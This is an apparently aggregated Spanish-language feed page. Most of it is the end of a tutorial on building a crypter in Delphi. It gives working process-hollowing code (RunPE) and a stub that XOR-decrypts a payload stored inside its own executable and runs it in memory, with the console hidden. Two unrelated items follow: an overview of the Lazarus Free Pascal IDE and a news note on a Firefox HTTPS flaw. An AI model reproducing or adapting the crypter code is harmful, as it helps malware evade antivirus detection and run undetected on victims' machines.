    if INH^.Signature = IMAGE_NT_SIGNATURE then
    begin
      FillChar(SI, SizeOf(TStartupInfo), #0);
      FillChar(PI, SizeOf(TProcessInformation), #0);
      SI.cb := SizeOf(TStartupInfo);
      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
      begin
        CT := Get4ByteAlignedContext(CTBase);
        if CT <> nil then
        begin
          CT.ContextFlags := CONTEXT_FULL;
          if GetThreadContext(PI.hThread, CT^) then
          begin
            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
            if dwImageBase = INH^.OptionalHeader.ImageBase then
            begin
              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
              else
                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            end
            else
              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if pModule <> nil then
            begin
              pFile := AlignImage(pFile);
              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
              begin
                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
                INH^.OptionalHeader.ImageBase := DWORD(pModule);
                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
              end;
              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
              SetThreadContext(PI.hThread, CT^);
              ResumeThread(PI.hThread);
              Result := PI.hThread;
            end;
          end;
          VirtualFree(CTBase, 0, MEM_RELEASE);
        end;
        if Result = 0 then
          TerminateProcess(PI.hProcess, 0);
      end;
    end;
  end;
end;

end.

Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código:

uses
  SysUtils, StrUtils, Windows, uExecFromMem, tools;

Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código:

type
  otro_array = array of string;
  // Declaramos el tipo "otro_array" como array of string

Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código:

procedure regex2(texto: string; separador: string; var resultado: otro_array);
// Thanks to ecfisa for the help
var
  numero1: integer; // Declaramos la variable "numero1" como integer
  numero2: integer; // Declaramos la variable "numero2" como integer
begin
  texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  // la variable "texto"
  numero1 := 1; // Establecemos la variable "numero1" como "1"
  while numero1 <= numero2 do
  // Mientras "numero1" sea menor o igual a "numero2" ...
  begin
    SetLength(resultado, Length(resultado) + 1);
    // Establecemos la longitud de resultado
    // a la longitud de la variable "resultado" mas "1"
    resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
    // Establecemos la variable "resultado" como la copia de las variables "texto",
    // "numero1" y la resta de las variables "numero2" y "numero1"
    numero1 := numero2 + Length(separador);
    // Establecemos la variable "numero1" como
    // la suma de la variable "numero2" y la longitud de ña variable "separador"
    numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
    // "separador" en el variable "texto"
  end;
end;

Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código:

var
  todo: string; // Declaramos la variable "todo" como string
  codigo: string; // Declaramos la variable "codigo" como string
  key: string; // Declaramos la variable "key" como string
  datos: otro_array; // Declaramos la variable "datos" como otro_array

begin

  todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"

  regex2(todo, '-barra-', datos);
  // Separamos los delimitadores que estan separados
  // por "-barra-" en la variable "todo"

  key := datos[2];
  // Establecemos como "key" la segunda posicion del array "datos"
  codigo := datos[1];
  // Establecemos como "codigo" la primera posicion del array
  // "datos"

  codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  // guardamos en la variable "codigo"

  ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  // Ejecutamos el codig en memoria
  // usando la funcion "ExecuteFromMem"

end.

Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para encriptar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa encriptado , simplemente lo abrimos y veremos el builder encriptado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.

Eso seria todo.

--========--
The End ?
--========--

Version PDF.

Version en VideoTutorial :

[Software] Lazarus: The professional Free Pascal RAD IDE

$
0
0

Historia

Lázaro se inició en febrero de 1999. Fue fundada principalmente por tres personas: Acantilado Baeseman, Shane Miller, Michael A. Hess.

Los tres habían tratado de involucrarse con el proyecto Megido que se disolvió. En la frustración de haber comenzado el proyecto Lázaro. Ha tenido un crecimiento constante de los partidarios y desarrolladores durante los años siguientes. Los fundadores no están involucrados más con el proyecto.

El siguiente miembro más antiguo del equipo es Marc Weustink. Él se involucró con el proyecto en agosto de 1999. Después de él es Mattias Gaertner que se involucró en septiembre de 2000. Ambos han sido los principales contribuyentes a la esencia de lo que hace que Lázaro garrapata.

¿Qué es Lazaro?

Lazarus es una herramienta de desarrollo rápido de aplicaciones (RAD) basada en el lenguaje de programación Object Pascal, disponible para los 5istemas operativos Windows, GNU/Linux y Mac OS X.

Se trata de una alternativa libre y gratuita a Delphi, desarrollada como proyecto de software libre a partir de Free Pascal. La web y la mayoría de la documentación están en inglés, pero el entorno de desarrollo (IDE) sí está traducido al español en gran parte.

Free Pascal es un compilador GPL que se ejecuta en Linux, Win32, OS / 2, 68K y más. Free Pascal está diseñado para ser capaz de entender y compilar sintaxis de Delphi, que es programación orientada a objetos. Lázaro es la parte del rompecabezas que falta que le permitirá desarrollar Delphi como programas en todas las plataformas de arriba. A diferencia de Java, que se esfuerza por ser una sola escritura ejecutar en cualquier lugar, Lázaro y Free Pascal se esfuerza para escribir una vez compilar en cualquier lugar. Desde el mismo compilador exacta está disponible en todas las plataformas de arriba significa que no es necesario hacer ninguna recodificación para producir productos idénticos para diferentes plataformas.

¿Puedo utilizar mi código existente de Delphi?

Algunos de los que sí. Si el código es pascal estándar de Delphi y utiliza los componentes estándar que se encuentran en Delphi, entonces la respuesta es sí. Si utiliza alguna base de datos específica, OCX, o DCU entonces la respuesta sería no. Estos artículos son específicos de Windows y sólo trabajar y dentro de Windows. Sin embargo, si sólo se busca crear un producto de Windows con Free Pascal y Lazarus entonces la respuesta sería sí. Esto no ha sido añadido a la LCL todavía, pero debería ser posible en el futuro.

Compatibilidad con bases de datos

Lazarus es compatible con varios motores de bases de datos, sin embargo el desarrollador debe instalar paquetes adicionales para gestionar cada uno. El programador puede acceder a la base de datos mediante código o bien arrastrando componentes en un formulario visual. Los componentes de la base de datos representan campos y son conectados por la correcta configuración de propiedades a un TDataSource, que representa una tabla y es también conectado a los componentes de la base de datos, ya sea TPSQLDatabase, TSQLiteDataSet o algún otro.

Los siguientes motores de bases de datos son compatibles:
  • PostgreSQL requiere el paquete PSQL
  • dBase y FoxPro pueden ser usados sin necesidad de un servidor externo o biblioteca mediante el componente TDbf
  • MySQL funciona correctamente
  • SQLite, necesita sólo una simple biblioteca externa y el componente TSQLiteDataSet
  • Microsoft SQL Server, funciona con la biblioteca ZeosLib
  • InterBase / Firebird, componente de acceso nativo, también trabaja con ZeosLib
  • Oracle, también trabaja con ZeosLib
¿Puedo crear productos comerciales con esto?

Sí. El código para el compilador Free Pascal está licenciado bajo la GPL. Esto significa que es de código abierto, libre, cualquiera sea el nombre que desea atenerse a ella. Puede modificar el código si lo desea, pero debe distribuir esos cambios o ponerlos a disposición de los demás si lo desean usarlo.

La FCL (Free Pascal bibliotecas de componentes) y el LCL (que eventualmente se convertirá en parte de la LCF) están bajo una licencia LGPL modificada. En una cáscara de nuez, esto significa que usted puede escribir su propio software propietario que sólo vincula a estas bibliotecas. Usted puede vender su aplicación sin la necesidad de suministrar o poner a disposición su código. Sin embargo, como el compilador si realiza modificaciones en el FCL o LCL debe hacer que esos cambios estén disponibles para el público en general y el mundo.

Información adicional



lazarus-ide - #1 [EXE] Lazarus: The professional Free Pascal RAD IDE

Se corrige en Firefox un error de HTTPS causado por el “cifrado oportunista”

$
0
0
Mozilla ha tenido que corregir un grave fallo de seguridad en Firefox que permitía a sitios web malicioso saltarse las protecciones de HTTPS.
.
El fallo fue introducido de forma fortuita en Firefox 37, que fue lanzado la semana pasada e introdujo una nueva característica que permitía el cifrado de conexiones web aun cuando el servidor no hiciese uso de HTTPS. Esta característica de “cifrado oportunista”, que carece de algunas protecciones importantes del protocolo TLS, fue aclamado como un paso importante para conseguir conexiones cifradas de extremo a extremo.
.
Sin embargo los desarrolladores han decidido inhabilitar el “cifrado oportunista” en Firefox 37.0.1, que ya ha sido lanzado, debido a que presentó un error bastante importante, y es que dio una vía fácil a los hackers para presentar certificados TLS falsos que no eran detectados por el navegador, y que podían ser activados a través de un sitio web malicioso que incorporase una cabecera Alt-Svc en las respuestas enviadas a la víctima.
Viewing all 11602 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>